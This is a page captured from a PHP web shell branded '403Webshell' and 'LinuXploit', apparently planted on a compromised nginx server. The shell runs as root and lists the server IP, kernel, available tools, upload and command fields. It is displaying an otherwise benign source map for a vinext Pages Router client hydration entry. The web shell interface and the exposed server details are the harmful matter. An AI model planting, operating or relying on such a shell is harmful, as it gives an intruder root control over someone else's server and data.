403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.217.172
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/vinext/dist/entries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/vinext/dist/entries/pages-client-entry.js.map
{"version":3,"file":"pages-client-entry.js","names":["pagesPatternToNextFormat"],"sources":["../../src/entries/pages-client-entry.ts"],"sourcesContent":["/**\n * Pages Router client hydration entry generator.\n *\n * Generates the virtual client entry module (`virtual:vinext-client-entry`).\n * This is the entry point for `vite build` (client bundle). It maps route\n * patterns to dynamic imports of page modules so Vite code-splits each page\n * into its own chunk. At runtime it reads __NEXT_DATA__ to determine which\n * page to hydrate.\n *\n * Extracted from index.ts.\n */\nimport {\n  pagesRouter,\n  patternToNextFormat as pagesPatternToNextFormat,\n  type Route,\n} from \"../routing/pages-router.js\";\nimport { createValidFileMatcher } from \"../routing/file-matcher.js\";\nimport { type ResolvedNextConfig } from \"../config/next-config.js\";\nimport { findFileWithExts } from \"./pages-entry-helpers.js\";\nimport { normalizePathSeparators } from \"./runtime-entry-module.js\";\n\nexport async function generateClientEntry(\n  pagesDir: string,\n  nextConfig: ResolvedNextConfig,\n  fileMatcher: ReturnType<typeof createValidFileMatcher>,\n): Promise<string> {\n  const pageRoutes = await pagesRouter(pagesDir, nextConfig?.pageExtensions, fileMatcher);\n\n  const appFilePath = findFileWithExts(pagesDir, \"_app\", fileMatcher);\n  const hasApp = appFilePath !== null;\n\n  // Build a map of route pattern -> dynamic import.\n  // Keys must use Next.js bracket format (e.g. \"/user/[id]\") to match\n  // __NEXT_DATA__.page which is set via patternToNextFormat() during SSR.\n  const loaderEntries = pageRoutes.map((r: Route) => {\n    const absPath = normalizePathSeparators(r.filePath);\n    const nextFormatPattern = pagesPatternToNextFormat(r.pattern);\n    // JSON.stringify safely escapes quotes, backslashes, and special chars in\n    // both the route pattern and the absolute file path.\n    // lgtm[js/bad-code-sanitization]\n    return `  ${JSON.stringify(nextFormatPattern)}: () => import(${JSON.stringify(absPath)})`;\n  });\n\n  const appFileBase = appFilePath ? normalizePathSeparators(appFilePath) : undefined;\n\n  return `\nimport \"vinext/instrumentation-client\";\nimport React from \"react\";\nimport { hydrateRoot } from \"react-dom/client\";\n// Eagerly import the router shim so its module-level popstate listener is\n// registered.  Without this, browser back/forward buttons do nothing because\n// navigateClient() is never invoked on history changes.\nimport \"next/router\";\n\nconst pageLoaders = {\n${loaderEntries.join(\",\\n\")}\n};\n\nasync function hydrate() {\n  const nextData = window.__NEXT_DATA__;\n  if (!nextData) {\n    console.error(\"[vinext] No __NEXT_DATA__ found\");\n    return;\n  }\n\n  const { pageProps } = nextData.props;\n  const loader = pageLoaders[nextData.page];\n  if (!loader) {\n    console.error(\"[vinext] No page loader for route:\", nextData.page);\n    return;\n  }\n\n  const pageModule = await loader();\n  const PageComponent = pageModule.default;\n  if (!PageComponent) {\n    console.error(\"[vinext] Page module has no default export\");\n    return;\n  }\n\n  let element;\n  ${\n    hasApp\n      ? `\n  try {\n    const appModule = await import(${JSON.stringify(appFileBase!)});\n    const AppComponent = appModule.default;\n    window.__VINEXT_APP__ = AppComponent;\n    element = React.createElement(AppComponent, { Component: PageComponent, pageProps });\n  } catch {\n    element = React.createElement(PageComponent, pageProps);\n  }\n  `\n      : `\n  element = React.createElement(PageComponent, pageProps);\n  `\n  }\n\n  // Wrap with RouterContext.Provider so next/compat/router works during hydration\n  const { wrapWithRouterContext } = await import(\"next/router\");\n  element = wrapWithRouterContext(element);\n\n  const container = document.getElementById(\"__next\");\n  if (!container) {\n    console.error(\"[vinext] No #__next element found\");\n    return;\n  }\n\n  const root = hydrateRoot(container, element);\n  window.__VINEXT_ROOT__ = root;\n  window.__VINEXT_HYDRATED_AT = performance.now();\n}\n\nhydrate();\n`;\n}\n"],"mappings":";;;;;;;;;;;;;;;;AAqBA,eAAsB,oBACpB,UACA,YACA,aACiB;CACjB,MAAM,aAAa,MAAM,YAAY,UAAU,YAAY,gBAAgB,YAAY;CAEvF,MAAM,cAAc,iBAAiB,UAAU,QAAQ,YAAY;CACnE,MAAM,SAAS,gBAAgB;CAK/B,MAAM,gBAAgB,WAAW,KAAK,MAAa;EACjD,MAAM,UAAU,wBAAwB,EAAE,SAAS;EACnD,MAAM,oBAAoBA,oBAAyB,EAAE,QAAQ;EAI7D,OAAO,KAAK,KAAK,UAAU,kBAAkB,CAAC,iBAAiB,KAAK,UAAU,QAAQ,CAAC;GACvF;CAEF,MAAM,cAAc,cAAc,wBAAwB,YAAY,GAAG,KAAA;CAEzE,OAAO;;;;;;;;;;EAUP,cAAc,KAAK,MAAM,CAAC;;;;;;;;;;;;;;;;;;;;;;;;;IA0BxB,SACI;;qCAE6B,KAAK,UAAU,YAAa,CAAC;;;;;;;MAQ1D;;IAGL"}

Youez - 2016 - github.com/yon3zu
LinuXploit